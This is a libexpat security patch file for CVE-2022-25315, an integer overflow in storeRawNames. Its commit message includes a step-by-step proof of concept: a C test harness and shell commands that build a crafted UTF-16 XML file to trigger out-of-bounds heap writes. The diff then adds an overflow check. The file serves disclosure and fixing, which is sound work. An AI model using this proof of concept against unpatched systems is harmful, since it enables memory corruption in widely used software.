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CVE: CVE-2022-25315
Upstream-Status: Backport [https://github.com/libexpat/libexpat/commit/eb036280]
Ref:
* https://github.com/libexpat/libexpat/pull/559
Signed-off-by: Kai Kang <kai.kang@windriver.com>
From eb0362808b4f9f1e2345a0cf203b8cc196d776d9 Mon Sep 17 00:00:00 2001
From: Samanta Navarro <ferivoz@riseup.net>
Date: Tue, 15 Feb 2022 11:55:46 +0000
Subject: [PATCH] Prevent integer overflow in storeRawNames
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```
---
expat/lib/xmlparse.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/expat/lib/xmlparse.c b/expat/lib/xmlparse.c
index 4b43e613..f34d6ab5 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
while (tag) {
int bufSize;
int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
+ size_t rawNameLen;
char *rawNameBuf = tag->buf + nameLen;
/* Stop if already stored. Since m_tagStack is a stack, we can stop
at the first entry that has already been copied; everything
@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) {
/* For re-use purposes we need to ensure that the
size of tag->buf is a multiple of sizeof(XML_Char).
*/
- bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+ /* Detect and prevent integer overflow. */
+ if (rawNameLen > (size_t)INT_MAX - nameLen)
+ return XML_FALSE;
+ bufSize = nameLen + (int)rawNameLen;
if (bufSize > tag->bufEnd - tag->buf) {
char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
if (temp == NULL)
--
2.33.0
|
